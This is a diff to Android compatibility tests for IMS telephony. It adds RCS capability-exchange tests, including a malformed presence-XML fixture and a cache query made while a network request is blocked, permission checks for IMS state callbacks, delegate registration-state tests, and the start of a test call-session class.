     private static String sTestContact2;
     private static String sTestContact3;
+    private static String sTestContact4;
     private static Uri sTestNumberUri;
     private static Uri sTestContact2Uri;
     private static Uri sTestContact3Uri;
+    private static Uri sTestContact4Uri;
 
     private ContentObserver mUceObserver;
 
@@ -966,16 +969,19 @@
         final Uri contact1 = sTestNumberUri;
         final Uri contact2 = sTestContact2Uri;
         final Uri contact3 = sTestContact3Uri;
+        final Uri contact4 = sTestContact4Uri;
 
-        Collection<Uri> contacts = new ArrayList<>(3);
+        Collection<Uri> contacts = new ArrayList<>(4);
         contacts.add(contact1);
         contacts.add(contact2);
         contacts.add(contact3);
+        contacts.add(contact4);
 
-        ArrayList<String> pidfXmlList = new ArrayList<>(3);
+        ArrayList<String> pidfXmlList = new ArrayList<>(4);
         pidfXmlList.add(getPidfXmlData(contact1, true, true));
         pidfXmlList.add(getPidfXmlData(contact2, true, false));
         pidfXmlList.add(getPidfXmlData(contact3, false, false));
+        pidfXmlList.add(getMalformedPidfXmlData(contact4, false, false));
 
         // Setup the network response is 200 OK and notify capabilities update
         int networkRespCode = 200;
@@ -989,7 +995,7 @@
         requestCapabilities(uceAdapter, contacts, callback);
         List<RcsContactUceCapability> resultCapList = new ArrayList<>();
 
-        // Verify that all the three contact's capabilities are received
+        // Verify that all the four contact's capabilities are received
         RcsContactUceCapability capability = waitForResult(capabilityQueue);
         assertNotNull("Capabilities were not received for contact", capability);
         resultCapList.add(capability);
@@ -1002,6 +1008,10 @@
         assertNotNull("Capabilities were not received for contact", capability);
         resultCapList.add(capability);
 
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received for contact", capability);
+        resultCapList.add(capability);
+
         // Verify the first contact capabilities from the received capabilities list
         RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
         assertNotNull("Cannot find the contact", resultCapability);
@@ -1014,12 +1024,17 @@
         verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_FOUND, true, false);
 
-        // Verify the second contact capabilities from the received capabilities list
+        // Verify the third contact capabilities from the received capabilities list
         resultCapability = getContactCapability(resultCapList, contact3);
         assertNotNull("Cannot find the contact", resultCapability);
         verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_FOUND, false, false);
 
+        // Verify the fourth contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact4);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyMalformedCapabilityResult(resultCapability, contact4, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, false, false);
         // Verify the onCompleted is called
         waitForResult(completeQueue);
 
@@ -1050,6 +1065,10 @@
         assertNotNull("Capabilities were not received", capability);
         resultCapList.add(capability);
 
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
         // Verify the first contact capabilities from the received capabilities list
         resultCapability = getContactCapability(resultCapList, contact1);
         assertNotNull("Cannot find the contact", resultCapability);
@@ -1062,12 +1081,17 @@
         verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_NOT_FOUND, false, false);
 
-        // Verify the second contact capabilities from the received capabilities list
+        // Verify the third contact capabilities from the received capabilities list
         resultCapability = getContactCapability(resultCapList, contact3);
         assertNotNull("Cannot find the contact", resultCapability);
         verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_NOT_FOUND, false, false);
 
+        // Verify the four contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact4);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyCapabilityResult(resultCapability, contact4, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
         // Verify the onCompleted is called
         waitForResult(completeQueue);
 
@@ -1111,6 +1135,10 @@
         assertNotNull("Capabilities were not received", capability);
         resultCapList.add(capability);
 
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Capabilities were not received", capability);
+        resultCapList.add(capability);
+
         // Verify the first contact capabilities from the received capabilities list
         resultCapability = getContactCapability(resultCapList, contact1);
         assertNotNull("Cannot find the contact", resultCapability);
@@ -1123,18 +1151,166 @@
         verifyCapabilityResult(resultCapability, contact2, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_NOT_FOUND, false, false);
 
-        // Verify the second contact capabilities from the received capabilities list
+        // Verify the third contact capabilities from the received capabilities list
         resultCapability = getContactCapability(resultCapList, contact3);
         assertNotNull("Cannot find the contact", resultCapability);
         verifyCapabilityResult(resultCapability, contact3, SOURCE_TYPE_NETWORK,
                 REQUEST_RESULT_NOT_FOUND, false, false);
 
+        // Verify the fourth contact capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact4);
+        assertNotNull("Cannot find the contact", resultCapability);
+        verifyMalformedCapabilityResult(resultCapability, contact4, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_NOT_FOUND, false, false);
         // Verify the onCompleted is called
         waitForResult(completeQueue);
 
         overrideCarrierConfig(null);
     }
 
+    /**
+     * Tests the case when contact1 has had a successful network query, but a query for contact2
+     * has resulted in the carrier network not responding with a NOTIFY. If contact1 caps are
+     * queried again, the query to the cache for contact1 should not be blocked in a queue behind
+     * the pending network query. Eventually, request for contact2 will timeout with onTimeout
+     * response from vendor, which will result in ERROR_REQUEST_TIMEOUT result back to app.
+     */
+    @Test
+    public void testCacheQuerySuccessWhenNetworkBlocked() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Remove the test contact capabilities
+        removeTestContactFromEab();
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* OPTIONS */);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(capabilityQueue::offer);
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+            }
+        };
+
+        // Prepare two contacts
+        final Uri contact1 = sTestNumberUri;
+        final Uri contact2 = sTestContact2Uri;
+
+        Collection<Uri> contacts = new ArrayList<>(1);
+        contacts.add(contact1);
+
+        ArrayList<String> pidfXmlList = new ArrayList<>(1);
+        pidfXmlList.add(getPidfXmlData(contact1, true, true));
+
+        // Setup the network response is 200 OK and notify capabilities update
+        int networkRespCode = 200;
+        String networkRespReason = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        List<RcsContactUceCapability> resultCapList = new ArrayList<>();
+
+        // Verify that the first contact is updated
+        RcsContactUceCapability capability = waitForResult(capabilityQueue);
+        assertNotNull("Cannot receive the first capabilities result.", capability);
+        resultCapList.add(capability);
+
+        // Verify contact1's capabilities from the received capabilities list
+        RcsContactUceCapability resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_NETWORK,
+                REQUEST_RESULT_FOUND, true, true);
+
+        // Verify the onCompleted is called
+        waitForResult(completeQueue);
+
+        completeQueue.clear();
+        capabilityQueue.clear();
+        resultCapList.clear();
+
+        // Now hold the second contact and do not return a response until after contact1 is queried
+        //again
+        CountDownLatch latch = new CountDownLatch(1);
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            try {
+                cb.onNetworkResponse(networkRespCode, networkRespReason);
+                assertTrue("Timed out waiting for latch", latch.await(10, TimeUnit.SECONDS));
+                // We didn't receive any NOTIFY
+                cb.onTerminated("timeout", 0L);
+            } catch (InterruptedException e) {
+                fail("Waiting for cap response resulted in unexpected exception: " + e);
+            }
+        });
+
+        contacts.clear();
+        contacts.add(contact2);
+
+        pidfXmlList.clear();
+        pidfXmlList.add(getPidfXmlData(contact2, true, true));
+
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        // Send another request for contact1's caps. Although the request queue is blocked due to
+        // pending network request, contact1 has valid caps, so system should return those.
+        contacts.clear();
+        contacts.add(contact1);
+
+        pidfXmlList.clear();
+        pidfXmlList.add(getPidfXmlData(contact1, true, true));
+
+        requestCapabilities(uceAdapter, contacts, callback);
+
+        capability = waitForResult(capabilityQueue);
+        assertNotNull("Cannot receive the cached capabilities result.", capability);
+        resultCapList.add(capability);
+
+        // Verify contact1's capabilities from the received capabilities list
+        resultCapability = getContactCapability(resultCapList, contact1);
+        assertNotNull("Cannot find the contact: " + contact1, resultCapability);
+        verifyCapabilityResult(resultCapability, contact1, SOURCE_TYPE_CACHED, REQUEST_RESULT_FOUND,
+                true, true);
+
+        // Now contact2's query finishes and it timed out without a NOTIFY
+        latch.countDown();
+
+        Integer error = waitForResult(errorQueue);
+        assertNotNull("Cannot receive the expected error result.", capability);
+        assertEquals("Timeout without NOTIFY should result in ERROR_REQUEST_TIMEOUT",
+                RcsUceAdapter.ERROR_REQUEST_TIMEOUT, error.intValue());
+
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        resultCapList.clear();
+        removeTestContactFromEab();
+
+        overrideCarrierConfig(null);
+    }
+
     @Test
     public void testRequestCapabilitiesFromCacheWithPresenceMechanism() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -3244,6 +3420,37 @@
         return pidfBuilder.toString();
     }
 
+    private String getMalformedPidfXmlData(Uri contact, boolean audioSupported,
+            boolean videoSupported) {
+        StringBuilder pidfBuilder = new StringBuilder();
+        pidfBuilder.append("<?xml version='1.0' encoding='utf-8' standalone='yes' ?>")
+                .append("<presence entity=\"").append(contact).append("\"")
+                .append(" xmlns=\"urn:ietf:params:xml:ns:pidf\"")
+                .append(" xmlns:op=\"urn:oma:xml:prs:pidf:oma-pres\"")
+                .append(" xmlns:caps=\"urn:ietf:params:xml:ns:pidf:caps\">")
+                .append("<tuple id=\"tid0\"><status><basic>open</basic></status>")
+                .append("<op:service-description>")
+                .append("<op:service-id>service_id_01</op:service-id>")
+                .append("<op:version>1.0</op:version>")
+                .append("<op:description>description_test1</op:description>")
+                .append("</op:service-description>")
+                .append("<caps:servcaps>")
+                .append("<caps:audio>").append(audioSupported).append("</caps:audio>")
+                .append("<caps:video>").append(videoSupported).append("</caps:video>")
+                .append("</caps:servcaps>")
+                .append("<contact>").append(contact).append("</contact>")
+                .append("</tuple>")
+                .append("<tuple id=\"tid1\"><status><basic>open</basic></status>")
+                .append("<op:service-description>")
+                .append("<op:service-id>service_id_02</op:service-id>")
+                .append("<op:version>1.0</op:version>")
+                .append("<op:ddescription>description_test2</op:description>")
+                .append("</op:service-description>")
+                .append("<contact>").append(contact).append("</contact>")
+                .append("</tuple></presence>");
+        return pidfBuilder.toString();
+    }
+
     private RcsContactUceCapability getContactCapability(
             List<RcsContactUceCapability> resultCapList, Uri targetUri) {
         if (resultCapList == null) {
@@ -3292,6 +3499,47 @@
         assertEquals(expectedVideoSupported, capabilities.isVideoCapable());
     }
 
+    private void verifyMalformedCapabilityResult(RcsContactUceCapability resultCapability,
+            Uri expectedUri, int expectedSourceType, int expectedResult,
+            boolean expectedAudioSupported, boolean expectedVideoSupported) {
+        // Verify the contact URI
+        assertEquals(expectedUri, resultCapability.getContactUri());
+
+        // Verify the source type is the network type.
+        assertEquals(expectedSourceType, resultCapability.getSourceType());
+
+        // Verify the request result is expected.
+        final int requestResult = resultCapability.getRequestResult();
+        assertEquals(expectedResult, requestResult);
+
+        // Return directly if the result is not found.
+        if (requestResult == REQUEST_RESULT_NOT_FOUND) {
+            return;
+        }
+
+        // Verify the mechanism is presence
+        assertEquals(RcsContactUceCapability.CAPABILITY_MECHANISM_PRESENCE,
+                resultCapability.getCapabilityMechanism());
+
+        // First tuple is malformed. Verify that no malformed tuple is stored.
+        RcsContactPresenceTuple presenceTuple =
+                resultCapability.getCapabilityTuple("service_id_02");
+        assertNull("Contact Presence tuple should be null!", presenceTuple);
+
+        presenceTuple = resultCapability.getCapabilityTuple("service_id_01");
+        assertNotNull("Contact Presence tuple should not be null!", presenceTuple);
+
+        RcsContactPresenceTuple.ServiceCapabilities capabilities =
+                presenceTuple.getServiceCapabilities();
+        assertNotNull("Service capabilities should not be null!", capabilities);
+
+        // Verify if the audio is supported
+        assertEquals(expectedAudioSupported, capabilities.isAudioCapable());
+
+        // Verify if the video is supported
+        assertEquals(expectedVideoSupported, capabilities.isVideoCapable());
+    }
+
     private void verifyOptionsCapabilityResult(List<RcsContactUceCapability> resultCapList,
             Collection<Uri> expectedUriList, int expectedSourceType, int expectedMechanism,
             int expectedResult, List<String> expectedFeatureTags) {
@@ -3385,6 +3633,9 @@
 
         sTestContact3 = generateRandomContact(6);
         sTestContact3Uri = Uri.fromParts(PhoneAccount.SCHEME_SIP, sTestContact3, null);
+
+        sTestContact4 = generateRandomContact(7);
+        sTestContact4Uri = Uri.fromParts(PhoneAccount.SCHEME_SIP, sTestContact4, null);
     }
 
     private static String generateRandomPhoneNumber() {
@@ -3420,7 +3671,8 @@
             StringBuilder builder = new StringBuilder();
             builder.append(sTestPhoneNumber)
                     .append(",").append(sTestContact2)
-                    .append(",").append(sTestContact3);
+                    .append(",").append(sTestContact3)
+                    .append(",").append(sTestContact4);
             sServiceConnector.removeEabContacts(sTestSlot, builder.toString());
         } catch (Exception e) {
             Log.w("RcsUceAdapterTest", "Cannot remove test contacts from eab database: " + e);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
index 13e9a33..f4ae7a5 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/SipDelegateManagerTest.java
@@ -37,12 +37,14 @@
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
 import android.telephony.ims.DelegateRegistrationState;
 import android.telephony.ims.DelegateRequest;
 import android.telephony.ims.FeatureTagState;
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
 import android.telephony.ims.ImsService;
+import android.telephony.ims.ImsStateCallback;
 import android.telephony.ims.SipDelegateConfiguration;
 import android.telephony.ims.SipDelegateManager;
 import android.telephony.ims.SipMessage;
@@ -85,9 +87,11 @@
             "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.session\"";
     private static final String FILE_TRANSFER_HTTP_TAG =
             "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gppapplication.ims.iari.rcs.fthttp\"";
-
+    private static final String CHATBOT_COMMUNICATION_USING_SESSION_TAG =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.chatbot\"";
     private static final String[] DEFAULT_FEATURE_TAGS = {
-            ONE_TO_ONE_CHAT_TAG, GROUP_CHAT_TAG, FILE_TRANSFER_HTTP_TAG};
+            ONE_TO_ONE_CHAT_TAG, GROUP_CHAT_TAG, FILE_TRANSFER_HTTP_TAG,
+            CHATBOT_COMMUNICATION_USING_SESSION_TAG};
 
     private static class CarrierConfigReceiver extends BroadcastReceiver {
         private CountDownLatch mLatch = new CountDownLatch(1);
@@ -325,6 +329,60 @@
         } catch (SecurityException e) {
             //expected
         }
+
+
+        ImsStateCallback callback = new ImsStateCallback() {
+            @Override
+            public void onUnavailable(int reason) { }
+            @Override
+            public void onAvailable() { }
+            @Override
+            public void onError() { }
+        };
+
+        try {
+            manager.registerImsStateCallback(Runnable::run, callback);
+            fail("registerImsStateCallback requires PERFORM_IMS_SINGLE_REGISTRATION or "
+                    + "READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        } catch (ImsException ignore) {
+            fail("registerImsStateCallback requires PERFORM_IMS_SINGLE_REGISTRATION or "
+                    + "READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(manager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires PERFORM_IMS_SINGLE_REGISTRATION permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            manager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            fail("uregisterImsStateCallback requires no permission.");
+        }
+
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(manager,
+                    m -> m.registerImsStateCallback(Runnable::run, callback),
+                    ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("registerImsStateCallback requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // don't care, permission check passed
+        }
+
+        try {
+            manager.unregisterImsStateCallback(callback);
+        } catch (SecurityException e) {
+            // unreachable, already passed permission check
+            fail("uregisterImsStateCallback requires no permission.");
+        }
     }
 
     @Test
@@ -651,28 +709,110 @@
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
-        TransportInterfaces ifaces = new TransportInterfaces(getDefaultRequest(),
-                Collections.emptySet(), 0);
-        ifaces.connectAndVerify();
-        Set<String> registeredTags = new ArraySet<>(ifaces.request.getFeatureTags());
+        try {
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_REGISTERING_DELEGATE_STATE_STRING);
+            TelephonyUtils.enableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_DEREGISTERING_LOSING_PDN_STATE_STRING);
 
-        // move reg state to deregistering and then deregistered
-        ifaces.delegateConn.setOperationCountDownLatch(1);
-        DelegateRegistrationState s = getDeregisteringState(registeredTags,
-                DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE);
-        ifaces.delegate.notifyImsRegistrationUpdate(s);
-        ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
-        ifaces.delegateConn.verifyRegistrationStateEquals(s);
+            TransportInterfaces ifaces = new TransportInterfaces(getDefaultRequest(),
+                    Collections.emptySet(), 0);
+            ifaces.connectAndVerify();
+            Set<String> registeredTags = new ArraySet<>(ifaces.request.getFeatureTags());
 
-        ifaces.delegateConn.setOperationCountDownLatch(1);
-        s = getRegisteredRegistrationState(registeredTags);
-        ifaces.delegate.notifyImsRegistrationUpdate(s);
-        ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
-        ifaces.delegateConn.verifyRegistrationStateEquals(s);
+            // move reg state to registering, deregistering and then deregistered
+            ifaces.delegateConn.setOperationCountDownLatch(1);
+            DelegateRegistrationState s = getRegisteringRegistrationState(registeredTags);
+            ifaces.delegate.notifyImsRegistrationUpdate(s);
+            ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+            ifaces.delegateConn.verifyRegistrationStateEquals(s);
 
-        destroySipDelegateAndVerify(ifaces);
-        assertEquals("There should be no more delegates", 0,
-                ifaces.transport.getDelegates().size());
+            ifaces.delegateConn.setOperationCountDownLatch(1);
+            s = getDeregisteringState(registeredTags,
+                    DelegateRegistrationState.DEREGISTERING_REASON_LOSING_PDN);
+            ifaces.delegate.notifyImsRegistrationUpdate(s);
+            ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+            ifaces.delegateConn.verifyRegistrationStateEquals(s);
+
+            ifaces.delegateConn.setOperationCountDownLatch(1);
+            s = getRegisteredRegistrationState(registeredTags);
+            ifaces.delegate.notifyImsRegistrationUpdate(s);
+            ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+            ifaces.delegateConn.verifyRegistrationStateEquals(s);
+
+            destroySipDelegateAndVerify(ifaces);
+            assertEquals("There should be no more delegates", 0,
+                    ifaces.transport.getDelegates().size());
+        } finally {
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_REGISTERING_DELEGATE_STATE_STRING);
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_DEREGISTERING_LOSING_PDN_STATE_STRING);
+        }
+    }
+
+    @Test
+    public void testDelegateRegistrationChangesCompatDisabled() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        try {
+            TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_REGISTERING_DELEGATE_STATE_STRING);
+            TelephonyUtils.disableCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_DEREGISTERING_LOSING_PDN_STATE_STRING);
+
+            TransportInterfaces ifaces = new TransportInterfaces(getDefaultRequest(),
+                    Collections.emptySet(), 0);
+            ifaces.connectAndVerify();
+            Set<String> registeredTags = new ArraySet<>(ifaces.request.getFeatureTags());
+
+            // The registering state should move to the deregistered state
+            // with the reason DEREGISTERED_REASON_NOT_REGISTERED when the registering state is not
+            // supported.
+            ifaces.delegateConn.setOperationCountDownLatch(1);
+            DelegateRegistrationState s = getRegisteringRegistrationState(registeredTags);
+            ifaces.delegate.notifyImsRegistrationUpdate(s);
+            ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+            s = getDeregisteredState(registeredTags,
+                    DelegateRegistrationState.DEREGISTERED_REASON_NOT_REGISTERED);
+            ifaces.delegateConn.verifyRegistrationStateEquals(s);
+
+            // The reason DEREGISTERING_REASON_LOSING_PDN of the deregistering state will be changed
+            // to the reason DEREGISTERING_REASON_PDN_CHANGE when DEREGISTERING_LOSING_PDN_STATE is
+            // not supported.
+            ifaces.delegateConn.setOperationCountDownLatch(1);
+            s = getDeregisteringState(registeredTags,
+                    DelegateRegistrationState.DEREGISTERING_REASON_LOSING_PDN);
+            ifaces.delegate.notifyImsRegistrationUpdate(s);
+            ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+            s = getDeregisteringState(registeredTags,
+                    DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE);
+            ifaces.delegateConn.verifyRegistrationStateEquals(s);
+
+            ifaces.delegateConn.setOperationCountDownLatch(1);
+            s = getRegisteredRegistrationState(registeredTags);
+            ifaces.delegate.notifyImsRegistrationUpdate(s);
+            ifaces.delegateConn.waitForCountDown(ImsUtils.TEST_TIMEOUT_MS);
+            ifaces.delegateConn.verifyRegistrationStateEquals(s);
+
+            destroySipDelegateAndVerify(ifaces);
+            assertEquals("There should be no more delegates", 0,
+                    ifaces.transport.getDelegates().size());
+        } finally {
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_REGISTERING_DELEGATE_STATE_STRING);
+            TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                    TelephonyUtils.CTS_APP_PACKAGE,
+                    TelephonyUtils.SUPPORT_DEREGISTERING_LOSING_PDN_STATE_STRING);
+        }
     }
 
     @Test
@@ -832,6 +972,8 @@
     public void testParcelUnparcelRegistrationState() {
         ArraySet<String> regTags = new ArraySet<>();
         regTags.add(MMTEL_TAG);
+        ArraySet<String> registeringTags = new ArraySet<>();
+        registeringTags.add(CHATBOT_COMMUNICATION_USING_SESSION_TAG);
         DelegateRegistrationState s = new DelegateRegistrationState.Builder()
                 .addRegisteredFeatureTags(regTags)
                 .addRegisteredFeatureTag(ONE_TO_ONE_CHAT_TAG)
@@ -839,6 +981,7 @@
                         DelegateRegistrationState.DEREGISTERING_REASON_PDN_CHANGE)
                 .addDeregisteredFeatureTag(FILE_TRANSFER_HTTP_TAG,
                         DelegateRegistrationState.DEREGISTERED_REASON_NOT_REGISTERED)
+                .addRegisteringFeatureTags(registeringTags)
                 .build();
         Parcel p = Parcel.obtain();
         s.writeToParcel(p, 0);
@@ -848,6 +991,7 @@
         assertEquals(s.getRegisteredFeatureTags(), unparcel.getRegisteredFeatureTags());
         assertEquals(s.getDeregisteringFeatureTags(), unparcel.getDeregisteringFeatureTags());
         assertEquals(s.getDeregisteredFeatureTags(), unparcel.getDeregisteredFeatureTags());
+        assertEquals(s.getRegisteringFeatureTags(), unparcel.getRegisteringFeatureTags());
     }
 
     @Test
@@ -2006,6 +2150,11 @@
         return new DelegateRegistrationState.Builder().addRegisteredFeatureTags(registered).build();
     }
 
+    private DelegateRegistrationState getRegisteringRegistrationState(Set<String> registering) {
+        return new DelegateRegistrationState.Builder().addRegisteringFeatureTags(registering)
+                .build();
+    }
+
     private DelegateRegistrationState getDeregisteringState(Set<String> deregisterTags,
             int reason) {
         DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
@@ -2015,6 +2164,16 @@
         return b.build();
     }
 
+    private DelegateRegistrationState getDeregisteredState(Set<String> deregisterTags,
+            int reason) {
+        DelegateRegistrationState.Builder b = new DelegateRegistrationState.Builder();
+        for (String t : deregisterTags) {
+            b.addDeregisteredFeatureTag(t, reason);
+        }
+        return b.build();
+    }
+
+
     private void connectTestImsServiceWithSipTransportAndConfig() throws Exception {
         PersistableBundle b = new PersistableBundle();
         b.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsCallSessionImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsCallSessionImpl.java
new file mode 100644
index 0000000..5d7f1e8
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsCallSessionImpl.java
@@ -0,0 +1,686 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.fail;
+
+import android.os.Bundle;
+import android.os.DeadObjectException;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.Message;
+import android.telephony.ims.ImsCallProfile;
+import android.telephony.ims.ImsCallSessionListener;
+import android.telephony.ims.ImsConferenceState;
+import android.telephony.ims.ImsReasonInfo;
+import android.telephony.ims.ImsStreamMediaProfile;
+import android.telephony.ims.stub.ImsCallSessionImplBase;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsCallSessionImpl extends ImsCallSessionImplBase {
+
+    private static final String LOG_TAG = "CtsTestImsCallSessionImpl";
+    private static final int LATCH_WAIT = 0;
+    private static final int LATCH_MAX = 1;
+    private static final int WAIT_FOR_STATE_CHANGE = 1500;
+    private static final int WAIT_FOR_ESTABLISHING = 2500;
+
+    private final String mCallId = String.valueOf(this.hashCode());
+    private final Object mLock = new Object();
+
+    private int mState = ImsCallSessionImplBase.State.IDLE;
+    private ImsCallProfile mCallProfile;
+    private ImsCallProfile mLocalCallProfile;
+    private ImsCallSessionListener mListener;
+
+    private final MessageExecutor mCallExecutor = new MessageExecutor("CallExecutor");
+    private final MessageExecutor mCallBackExecutor = new MessageExecutor("CallBackExecutor");
+    private static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    public static final int TEST_TYPE_NONE = 0x00000000;
+    public static final int TEST_TYPE_MO_ANSWER = 0x00000001;
+    public static final int TEST_TYPE_MO_FAILED = 0x00000002;
+    public static final int TEST_TYPE_HOLD_FAILED = 0x00000004;
+    public static final int TEST_TYPE_RESUME_FAILED = 0x00000008;
+    public static final int TEST_TYPE_CONFERENCE_FAILED = 0x00000010;
+
+    private int mTestType = TEST_TYPE_NONE;
+    private boolean mIsOnHold = false;
+
